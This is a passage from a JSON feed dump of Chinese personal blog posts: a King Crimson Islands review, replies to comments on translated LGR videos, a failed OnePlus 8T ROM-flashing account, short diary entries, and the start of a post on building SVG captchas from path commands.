href=\"https://www.bilibili.com/video/BV1BZ4y1G7ie\" target=\"_blank\" rel=\"noopener\"\u003eHouge_Langley 采访 felixonmars\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1s5411N7qN\" target=\"_blank\" rel=\"noopener\"\u003eHouge_Langley 在 ZFS 上面装 Arch Linux\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1X7411K7fo\" target=\"_blank\" rel=\"noopener\"\u003e老莱给大家介绍Linux的十大优越之处!\u003c/a\u003e\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/experience-of-archinstall.html"},{"title":"King Crimson - Islands 听后感","time":"2021-02-27T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/CZijR4n5OoP9rtL.jpg\" alt=\"Featured image of post King Crimson - Islands 听后感\"/\u003e\u003cp\u003e在1969年King Crimson发表了富有创造性的首专之后,由于各乐队成员间之间创作理念的不同,乐队分崩离析。在短短两年内产生了三张不同风格的专辑。其中第二张In the Wake of Posidon与首专过于相像,虽然好听,但是缺少创意;第三张Lizard难以让我接受,主要是其中Peter Sinfield营造的轻浮气息。而今天我要给大家介绍的第四张专辑,Island,虽然实验性是这几张中最差的,概念性也不怎么好,但是可欣赏度是这几张中最好的。\u003c/p\u003e\n\u003cp\u003e这张专辑仅有的实验性部分,就是吹奏乐器的大部分使用,虽然在前一张专辑中已经这样了,但是鉴于上一专的轻浮和乐队成员间的合作不愉快,我觉得效果不如这个好。这点尤其在The Letters中明显体现了出来。在The Letters中,在情人给妻子写下了毒舌信后,上来的萨克斯沉重有力,与前面平静的声音形成了鲜明的对比,体现了情人收到信后沉重无比的心。之后的萨克斯演奏逐渐由混乱到平静和坚定,体现了妻子的伤心难受和之后的坚强面对。在这首歌中,萨克斯的吹奏对这首歌气氛的渲染有十分明显的影响。而在其他歌曲中,吹奏乐器更是音乐中不可或缺的一部分,无论是Song of Gulls中悠扬的长笛,Sailor’s Tail中萨克斯代表着大风,还是Islands中长号的尾奏,都让我印象深刻。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/1rE32pjTftclLan.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/1rE32pjTftclLan.jpg\" loading=\"lazy\" alt=\"最左面的两张图片就是吹奏家Mel Collins,King Crimson混乱时期音乐的中流砥柱。最上面的是Robert Fripp,最右面的是Peter Sinfield,最下面的是Ian Wallace,剩下的照片是Boz Burrell\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e最左面的两张图片就是吹奏家Mel Collins,King Crimson混乱时期音乐的中流砥柱。最上面的是Robert Fripp,最右面的是Peter Sinfield,最下面的是Ian Wallace,剩下的照片是Boz Burrell\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e当然,除了我上面说到的,Sailor’s Tail精妙的结构和Song of Gulls的古典化和弦之外,我在这张专辑中很难找到其他的实验性特点了,这对于一张前卫摇滚专辑而言,是不合格的。第一首Formentera Lady就是两个贝斯音符的重复为底,再点缀些令人放松的乐器。而Ladies of the Road基本上就是词作者Peter Sinfield泡妞体验的综合,再加上Robert Fripp和弦,然后直接塞给你了,我是真不喜欢。最后的压轴曲,Island,基本上就是主旋律用各种乐器重复演奏,听多了容易审美疲劳。相比较而言,Lizard虽然我十分讨厌,但不得不承认,单凭最后一首23分钟的史诗,它的实验性也比这张强。\u003c/p\u003e\n\u003cp\u003e说到Robert Fripp,我觉得他这张专辑有点不在状态。首先是将自己之前写的歌曲和弦改编一下就用了。举例来说,Song of the Gulls改编自Robert Fripp于1968写的Suite No.1,那时他还在Giles, Giles \u0026amp; Fripp里面打杂手。然后就是Sailor’s Tail结尾的扫弦,因为他当时巡演累坏了,实在是想不出该弹啥了。还有就是与乐队真正的领头人Peter Sinfield在创作上的矛盾,导致他基本不和其他乐队成员来往了,最后一通电话,解散了乐队。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/4BJ8UeCKk1Gnpr2.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/4BJ8UeCKk1Gnpr2.jpg\" loading=\"lazy\" alt=\"还有一点,就是Robert Fripp这个人太正经。你看看其他人,性格是多么活泼啊。女孩子喜欢幽默活泼的人。所以说Fripp应该十分羡慕其他人能和女孩子谈笑风生吧\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e还有一点,就是Robert Fripp这个人太正经。你看看其他人,性格是多么活泼啊。女孩子喜欢幽默活泼的人。所以说Fripp应该十分羡慕其他人能和女孩子谈笑风生吧\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e在这张专辑中,我还要说出一点我很不理解的事情,就是这张专辑整体的概念设计。上一张专辑主要是描述英国资产革命期间的保皇派领袖Prince Rupert的英勇战斗。而这回话锋一转,我们来到了温暖的热带群岛,远处的帆船经过与风暴的搏斗后,疲惫地停落在此。夕阳西下,海鸥翱翔,我们在海浪的拍打声中逐渐入眠。这张专辑的概念,要我说,也太不前卫了吧。首专和二专的主题是反战和对现代社会的反思,三专的主题是中世纪和冒险,都体现了词作者Peter Sinfield的家国情怀和历史底蕴。难道在反战运动结束以后,Sinfield去某个热带岛屿度个假之后,整个人就散漫下来了?但不得不说,就这种烂大街的主题,经由乐队的合力协作,再加上仅有的一点实验性,听感在我看来,是最好的。也是我觉得,最能让普罗大众接受的一张King Crimson专辑了吧。所以我说,这张专辑的可欣赏度是这几张中最好的。\u003c/p\u003e\n\u003cp\u003e总体而言,虽然这张专辑实验性不强,概念上又很简单,但是我还是很喜欢这张专辑的。浪漫,轻松,又很好理解。对于现在处于加速过度社会的我们而言,也许这张慢节奏的专辑能我们在短短的44分钟内来个海南一周游,好好放松一下。\u003c/p\u003e\n\u003cp\u003e说到海南一周游,还有一件事。我不想开学啊!!!\u003c/p\u003e\n\u003cp\u003e推荐链接:\u003cbr/\u003e\n\u003ca class=\"link\" href=\"http://www.progarchives.com/album.asp?id=1906\" target=\"_blank\" rel=\"noopener\"\u003eProg Archive上的评论\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.discogs.com/master/436-King-Crimson-Islands\" target=\"_blank\" rel=\"noopener\"\u003eDiscogs上面的专辑版本信息\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1NZ4y1p7fM\" target=\"_blank\" rel=\"noopener\"\u003e南方翻译的纪录片片段\u003c/a\u003e\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/islands-review.html"},{"title":"过年了,给大家回复弹幕,然后瞎扯两句","time":"2021-02-12T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/OxMmK6yZD9vE2Xu.png\" alt=\"Featured image of post 过年了,给大家回复弹幕,然后瞎扯两句\"/\u003e\u003cp\u003e一般我会在评论区给大家回复交流,但是弹幕就没法给大家回复了,因此,趁今天过年,我给大家统一回复一下,顺便瞎扯两句。\u003cbr/\u003e\n在此之前,首先,感谢大家在弹幕中对我字幕中的错误做出指正。其次,感谢在弹幕中分享知识的人。\u003c/p\u003e\n\u003ch2 id=\"第一个老先生的本性释放时间建议自行震撼\"\u003e第一个:老先生的本性释放时间(建议自行震撼)\u003c/h2\u003e\n\u003cp\u003e【熟肉】震惊,Robert Fripp居然弹起了齐柏林飞艇\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eDiment@Bilibili: 可怜又无助的Fripp……\u003cbr/\u003e\n回复: Fripp:我的媳妇,我管不住啊!\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e说到Fripp的释放本性,你们可以听听Island专辑中的Ladies on the Road。先不说大色狼Peter Sinfield写的歌词,先是开头Fripp的吉他滑音,就让我觉得这首歌绝对不是什么正经歌曲。后来唱歌的时候,Fripp的吉他也是被迫地极尽调戏本性。辛亏后来Mel Collins的吹奏乐器给Fripp救了场,要不Fripp演半截就要走人了,歌曲的后半部分我很难听到吉他的声音了。\u003cbr/\u003e\n不过说真的,如果你们喜欢King Crimson的话,你们可以 @南方History,他上传了很多关于King Crimson的视频,还有一个专业乐评。\u003c/p\u003e\n\u003ch2 id=\"第二个某个疯子花了一个小时装了一台废铁这是我爸说的\"\u003e第二个:某个疯子花了一个小时装了一台废铁(这是我爸说的)\u003c/h2\u003e\n\u003cp\u003e【熟肉】LGR - 攒一台486 DOS电脑!\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e原字幕:And since ever the dawn of time, in fact, I think those 2032s predate humanity.\u003cbr/\u003e\n这里大概就是开玩笑说CR2032这玩意存在很久了甚至在史前没有人类的时候就出现了hhhhhhh\u003cbr/\u003e\n回复:谢谢 whc2001 的注解,其实LGR的视频很多话我都不太明白,而且他的语速还贼快。\u003c/p\u003e\n\u003cp\u003e原字幕:“Have you seen these faces?” My God.\u003cbr/\u003e\n翻译为:“你见过他们吗?” 这波吟唱lttstore.com\u003cbr/\u003e\n@Linus Tech Tips\u003cbr/\u003e\n回复:Linus没有给我广告费。另外,我觉得自从疫情以来,LTT有点不太好过。现在LTT必须有一段请求关注和周边广告,而且有些赞助视频质量不太好(不包括 活 笑 料 )\u003cbr/\u003e\n回顾:现在的LTT,还是安东尼好。\u003c/p\u003e\n\u003cp\u003e那时候还没有通道这个概念随便插的嘛?\u003cbr/\u003e\n我上网查了一下,这个应该是EDO内存,而通道内存的概念得DDR出现了吧,那都1998年了吧。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e这个视频我喜欢的地方是后面调试软件的部分,可是我查看后台发现大家更喜欢前面的动手部分,我可能折腾软件太多了吧(毕竟我不是飘哥,他从小学开始就玩硬件)。\u003cbr/\u003e\n另外,这个是Bilibili上第二个,也是第一个被广泛关注的LGR视频(第一个是BV1Js411v7o1,讲的是MO磁光盘)。第一个熟肉LGR视频是由蟒人摸象翻译的,而播放量最多的LGR熟肉是由初生之鸟翻译的。\u003cbr/\u003e\n我是在高二暑假时看到了很多这样的视频,我第一个关注的是David Murray。(有意思的是,前The8-BitGuy授权翻译HikariCalyx,能解锁诺基亚),然而我是在高考完之后才开始翻译视频的。而这个视频也大幅提高了我的关注度,某科学的小姚同志和pingatsky等搬运工也邀请我加入了翻译工大家庭,从此走上了翻译视频的不归路:-)所以,感谢这个平台和所有帮助我,关注并支持我的人吧。\u003c/p\u003e\n\u003ch2 id=\"第三个john-carmark-yyds因为他开放了doom源代码\"\u003e第三个:John Carmark yyds(因为他开放了DOOM源代码)\u003c/h2\u003e\n\u003cp\u003e【熟肉】LGR游戏评测 - 就算过了几十年,《毁灭战士》还是好游戏!\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e1.最简单难度:我这么年轻就想死(I’m too young to die)\u003cbr/\u003e\n2.不要太嚣张了(Not too Rough)\u003cbr/\u003e\n3.痛打我吧!(Hurt me Plenty)\u003cbr/\u003e\n4.终极暴力(Ultra-Violence)\u003cbr/\u003e\n5.噩梦模式(Nightmare)\u003cbr/\u003e\n感谢工程师NopeNope 提供的翻译。我觉得最简单难度那里有个问号吧。\u003c/p\u003e\n\u003cp\u003e1.深入尸堆(Knee-Deep in the Dead)\u003cbr/\u003e\n2.地狱之海(The Shores of Hell)\u003cbr/\u003e\n3.炼狱的试炼(Inferno)\u003cbr/\u003e\n同理,感谢提供翻译的人。实际上我玩的时候,没有注意这些。电子游戏的剧情真的就是爱情动作片呗(John Carmark因此开除了Tom Hall)。\u003c/p\u003e\n\u003cp\u003e勘误:Unreal和Thief都是该时代相对先进的第一人称游戏\u003cbr/\u003e\n感谢今哥的野望的勘误。Unreal在1990年由育碧发行,而Thief是1981年发行的街机游戏。详询可以Bing一下。\u003cbr/\u003e\n回顾:Unreal是虚幻啊,我当时在想什么……\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e毁灭战士绝对是一个好游戏,我玩的十分上劲。而这个视频也是我的得意之作,因为这个视频的梗我玩的十分的溜(不是),因为当时我看经典名著电视剧比较多(没错,我在高考后才开始看)。顺便说一句,我到现在为止仍然很不喜欢《红楼梦》,不过里面的贾母让我想到了我的奶奶,都是十分疼爱孙子的。\u003cbr/\u003e\n实际上现在有很多游戏的画质更好,但我觉得有些游戏真正吸引我的是玩法的复杂多样和音乐的经典。这个游戏的玩法说简单,就是WASD(不是原版,是GZDOOM),说复杂,就有平移跳跃之类,而在这方面我基本不懂,而且我也是手残党。\u003cbr/\u003e\n而在音乐方面,就是Bobby Prince编写的重金属配乐。节奏感和旋律性十分强,有些配乐我也十分喜欢(诸如DOOM二代中的《DOOM》)。作为King Crimson的乐迷,我建议大家去听听《Starless》和E1M8的配乐:-)\u003c/p\u003e\n\u003ch2 id=\"第四个没事你用什么机架8bitguy的痛恨\"\u003e第四个:没事你用什么机架(8BitGuy的痛恨)\u003c/h2\u003e\n\u003cp\u003e【熟肉】LGR - 组建一个更大,更好的MIDI机架山\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e原来是提供了很多专业设备名称,我懒得截图了……\u003cbr/\u003e\n捕捉到大神 @我的同桌是初音\u003c/p\u003e\n\u003cp\u003e颜文字狂魔up(当时我的字幕随着音乐出现了Maggie Simpson的字符画)\u003cbr/\u003e\n要不然这么长的音乐你就光看着没劲的电脑屏幕。顺便说一句,这叫ASCII艺术。而这个是我的女神Maggie(因为她太可爱了)\u003c/p\u003e\n\u003cp\u003efedora forever(当时我的字幕随着音乐出现了一直牛说’Use Arch Linux at archlinux.org:-)’)\u003cbr/\u003e\nFedora我用过一段时间,确实软件包很新,软件更迭很快。但是Arch可以私人定制,所以我觉得还是Arch好(我是不会用gentoo的,没时间编译内核)。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e本期视频我认为体现出LGR视频的一些特点。首先是口语的泛滥,他说话经常出现连词,因思想跟不上而出现的停顿(也许我搬运的视频都倾向于这些吧)。其次是内容,LGR的视频在专业的地方,确实是在认真地给大家讲;提前准备好的部分也能很好地把握时间;不过一到动手体验部分,就有点vblog的感觉了(尤其是上期讲SD卡相机)。这就导致LGR的视频在某种意义上,十分地长,我翻译也是越来越烦。那期线上淘二手我直接上机翻,结束噩梦了。\u003cbr/\u003e\n回顾:LGR的视频已经越来越长,早期视频更好受些。他废话能少些吗?!\u003cbr/\u003e\n说到机翻,我发现有人在Bilibili上传LGR的机翻视频,还有4K噱头,差点将一个刚翻译视频的给劝退了。我又想到了8bitGuy的空降正义,结果因为机翻太差,人民群众将原搬运工给叫了回来。对于这种现象,我是十分厌恶的。你这么做,这既是对原作者的不尊重,也是对我们翻译工的不尊重。原作者制作视频,是为了传播知识,而我们翻译视频,也是出于这样的目的。\u003c/p\u003e\n\u003ch2 id=\"第五个一个十分遗憾的乐队建议亲自观看体会\"\u003e第五个:一个十分遗憾的乐队(建议亲自观看体会)\u003c/h2\u003e\n\u003cp\u003e【熟肉】论低情商如何害了Deep Purple\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e人事问题不仅仅是情商的问题。\u003cbr/\u003e\n回复:确实是这样。人事问题还跟利益关系,个人性格等有关。Blackmore和Gillan在音乐方向上就不同,再加上两个人都很强势,这些是Mk2解散的根本原因。而低情商主要在于Blackmore将Glover给赶出去,Blackmore不喜欢Gillan,就拿他介绍过来的Glover撒气。实际上Glover不仅会弹Bass,而且会设计(他参与了Machine Head和Who Do We Think We Are!的封面,内页设计),会制作音乐,他的离去对于Deep Purple来说,绝对是一个打击。我觉得那个纪录片最重要的地方就是这个了,其他的诸如组队,录制洗脑神曲方面我觉得倒不重要。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e说到听音乐,我首先是从娘胎里开始听加州旅馆(还是1994地球厅那版,可惜CD让我给划了:-P)。到了初中我开始听张学友等经典音乐,因为网易云推荐(然后我天天在班里唱“吻鳖”)。到了高中,我开始知道了Pink Floyd,我最开始的那两个视频就是这个。然后是重金属三大头,Yes,King Crimson,Mike Oldfield,Genesis等前卫摇滚,进而是Metallica的前卫金属时期(The Call of Ktulu真是洗脑得不得了)\u003c/p\u003e\n\u003ch2 id=\"总结\"\u003e总结:\u003c/h2\u003e\n\u003cp\u003e还有好多想说的,不过我都在评论区里说完了,加上时间不早了,所以基本就是这些了。如果大家有啥想说的,留个言呗;如果大家喜欢的话,转发一下呗。祝大家新春快乐:-)\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/reading-reviews.html"},{"title":"我的一加8T刷机失败记录","time":"2021-02-03T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/53U9OBFlswnKCrV.png\" alt=\"Featured image of post 我的一加8T刷机失败记录\"/\u003e\u003cp\u003e注意:本文不是详细教程,只是我的痛苦体验罢了,文章末尾我会给链接的。\u003c/p\u003e\n\u003cp\u003e最近我的 Nokia(HMD) 7 Plus 的充电口彻底没有办法充电了,所以我妈给我买了一台一加8T:-)\u003c/p\u003e\n\u003cp\u003e到手的第一件事嘛……一定是解锁呀。辛亏一加的解锁是相当容易的,开发者模式中开启“OEM 解锁”,然后 adb reboot bootloader 进入fastboot,再运行 fastboot oem unlock,手机上音量加减选择解锁,电源键选择即可。\u003c/p\u003e\n\u003cp\u003e然后我没想到的部分还是来了,鉴于本手机刚刚发布,很多第三方系统还没有完全适配。我最想用的Lineage没有官方,而crDroid是Beta品质,这都是我后来才发现的:-P\u003c/p\u003e\n\u003cp\u003e不过官方论坛上有教程,那自然是得一顿操作啦。可惜呢……\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/53U9OBFlswnKCrV.png\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/53U9OBFlswnKCrV.png\" loading=\"lazy\" alt=\"这个是我在Windows下的第二次失败,第一次是在Linux下的\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e这个是我在Windows下的第二次失败,第一次是在Linux下的\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e开始是Linux系统下失败,然而在Windows下也失败了。我暂且认为是开发者用的是256G的,可我的是128G的原因吧。\u003c/p\u003e\n\u003cp\u003e无论如何,我必须得救砖了。然而救砖软件是Windows独占,我就启动了该死的Windows虚拟机,手机完全关机并同时按住上下键,映射到虚拟机(设备名字开头是高通啥的)。结果报错,自动检测DDR失败。我想是因为虚拟机映射有问题,所以我直接重装了该死的Windows(我上期翻译的视频字幕文件没了,其他的因为备份了,还在)来救砖。有一次电脑不认,我按住了上下键和电源键来强制开机。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/oSlVrIB4PWghOYt.png\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/oSlVrIB4PWghOYt.png\" loading=\"lazy\" alt=\"注意红箭头指示的地方,一定先要选上!否则救砖失败,手机变成假砖\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e注意红箭头指示的地方,一定先要选上!否则救砖失败,手机变成假砖\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e救砖成功了,我又在Windows下尝试了好几遍fastboot,全部失败:-P 我看等成熟的卡刷可以实现的时候再说吧。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/failure-on-flash-oneplus-8t.html"}]},{"name":"Ri的手账本","email":"","uri":"https://ray.al","description":"","article":[{"title":"真正的痛苦","time":"2023-07-16T17:50:50Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e仰头望天,这又是何等的痛苦\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://ray.al/230"},{"title":"今天的天气,知道的?","time":"2023-07-15T18:16:15Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e连遗忘本身都忘记,那才是真正的束手无策。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://ray.al/227"},{"title":"好玩的Kalman滤波器(仅样例)","time":"2023-07-14T17:05:02Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e然而Kalman滤波器不是滤波器(\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://ray.al/221"},{"title":"好玩的传感器和Arduino开发板","time":"2023-07-13T13:38:09Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e算是自己做的一些微小的工作\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://ray.al/215"},{"title":"剃须与味噌汤","time":"2021-12-02T18:39:16Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e莎优的脑海里又浮现起了那时吉田找到自己时涨得通红的脸,那种担心而大汗淋漓的表情……不知道为什么,她觉得有些心酸,却又有些高兴。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://ray.al/99"},{"title":"再次相遇","time":"2021-12-02T18:31:35Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e吉田感受到了一种力场,就好像是一根细线,把他和少女的命运系在一起。有只有今天才能遇见的人,也只有今天才能遇见的事。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://ray.al/122"},{"title":"Buffalo Nas的简单评测","time":"2021-11-02T12:15:59Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e在上课,所以先不放图 这次评测的主人公是Buffalo ls-wxl (LinkStation) 闲鱼上某个老 […]\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://ray.al/85"},{"title":"由求完数的经典OJ题引发的思考","time":"2021-10-26T10:26:13Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003eXD-OJ T30 标题: 完数 类别: 时间限制: 2 S 内存限制: 10000 Kb 问题描述: 请写一 […]\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://ray.al/56"},{"title":"书摘其一","time":"2021-10-24T03:11:22Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e我哭着喊冷,喊饿,爷爷默默地看着我,终于下了决心,拿出了他珍藏的勋章,带着我走了出去,来到这里。那时这儿是自由 […]\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://ray.al/40"}]},{"name":"Reverier's Blog","email":"","uri":"https://blog.woooo.tech/","description":"Creating reality with idealism.","article":[{"title":"SVG绘制原理与验证码","time":"2023-08-25T23:08:12+08:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003eSVG矢量图形拥有很多优点,例如体积小、清晰度不受缩放影响、支持广泛等等。我一直是个SVG\u003cdel\u003e批\u003c/del\u003e爱好者,致力于在各种地方用SVG替代位图,比如本文要介绍的验证码。\u003c/p\u003e\n\u003ch2 id=\"图像验证码\"\u003e图像验证码\u003c/h2\u003e\n\u003cp\u003e图像验证码是一种挑战-应答机制,通过在位图里渲染几个字母并加入很多干扰图像,来防止机器人填写表单。这种方式一般是由以下步骤组成的:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e生成随机字符串\u003c/li\u003e\n\u003cli\u003e将字符串渲染到位图上\u003c/li\u003e\n\u003cli\u003e将干扰图像渲染到位图上\u003c/li\u003e\n\u003cli\u003e将位图发送到前端,服务器端存储对应的字符串答案\u003c/li\u003e\n\u003cli\u003e用户填写答案,提交表单\u003c/li\u003e\n\u003cli\u003e服务器端验证答案是否正确\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e我们可以发现这种验证方式比较类似于hash,即过程是不可逆的,只能利用人眼的识别能力将字符串恢复出来,只通过机器的准确计算能力无法将耦合在一起的位图信息分离,这就是图像验证码的保护原理。但是近些年随着机器学习的发展,图像识别已经变成一个很轻松的匹配任务了,图像验证码的保护能力愈发下降。不过图像验证码在某些场景下还是有用的,比如你的服务器在一些和疯狗一样的保护措施之下,甚至无法访问外网,也无法接入第三方验证码提供商服务,这个时候只能通过图像验证码来提供一些简单的保护了(没错我还在给你电信息化处擦屁股)。\u003c/p\u003e\n\u003ch2 id=\"最开始的想法\"\u003e最开始的想法\u003c/h2\u003e\n\u003cp\u003eSVG是一种基于XML的矢量图形格式,其源文件就是一个纯文本文件,对于服务器端处理来说,SVG可比位图友好太多了(虽然客户端渲染下SVG性能远低于位图),所以我在想,能不能用SVG来代替位图实现验证码?\u003c/p\u003e\n\u003cp\u003e我试着用Inkscape绘制了一点文字,然后发现在SVG中默认使用 \u003ccode\u003e\u0026lt;text\u0026gt;\u003c/code\u003e 标签渲染文字,这样就失去验证码的意义了,脚本只需要提取一下 \u003ccode\u003e\u0026lt;text\u0026gt;\u003c/code\u003e 标签的内容就能拿到验证码,很蠢。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-xml\" data-lang=\"xml\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003e\u0026lt;svg\u003c/span\u003e \u003cspan class=\"na\"\u003exmlns=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;http://www.w3.org/2000/svg\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003ewidth=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;100\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eheight=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;100\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eviewBox=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;0 0 100 100\u0026#34;\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;text\u003c/span\u003e \u003cspan class=\"na\"\u003ex=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;0\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003ey=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;50\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003efont-size=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;50\u0026#34;\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026gt;\u003c/span\u003eHello World\u003cspan class=\"nt\"\u003e\u0026lt;/text\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003e\u0026lt;/svg\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e即使使用多个标签分割文字并做混淆处理,也只是玩文字游戏罢了,机器处理的难度与性能损失远不及位图验证码。\u003c/p\u003e\n\u003cp\u003e因此,想要实现SVG验证码,必须要使用另一些不依赖文本的绘制技术,并在此基础上将噪音与文本信息耦合起来,使得机器无法轻松分离这些信息,而人眼可以通过渲染出来的图像轻松识别。\u003c/p\u003e\n\u003ch2 id=\"svg-绘制原理\"\u003eSVG 绘制原理\u003c/h2\u003e\n\u003cp\u003e在SVG里除了 \u003ccode\u003e\u0026lt;text\u0026gt;\u003c/code\u003e、\u003ccode\u003e\u0026lt;circle\u0026gt;\u003c/code\u003e、\u003ccode\u003e\u0026lt;rect\u0026gt;\u003c/code\u003e 等绘制简单图形的标签,还有一个万能标签 \u003ccode\u003e\u0026lt;path\u0026gt;\u003c/code\u003e。\u003ccode\u003e\u0026lt;path\u0026gt;\u003c/code\u003e 标签可以通过一系列的指令来绘制任意复杂的图形,这些指令包括:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eM x y\u003c/code\u003e 或者 \u003ccode\u003em dx dy\u003c/code\u003e:移动到指定的坐标\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eL x y\u003c/code\u003e 或者 \u003ccode\u003el dx dy\u003c/code\u003e:从当前坐标画一条直线到指定的坐标\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eH x\u003c/code\u003e 或者 \u003ccode\u003eh dx\u003c/code\u003e:从当前坐标画一条水平线到指定的x坐标\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eV y\u003c/code\u003e 或者 \u003ccode\u003eV dy\u003c/code\u003e:从当前坐标画一条垂直线到指定的y坐标\u003c/li\u003e\n\u003cli\u003e… 等等\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eZ\u003c/code\u003e 或者 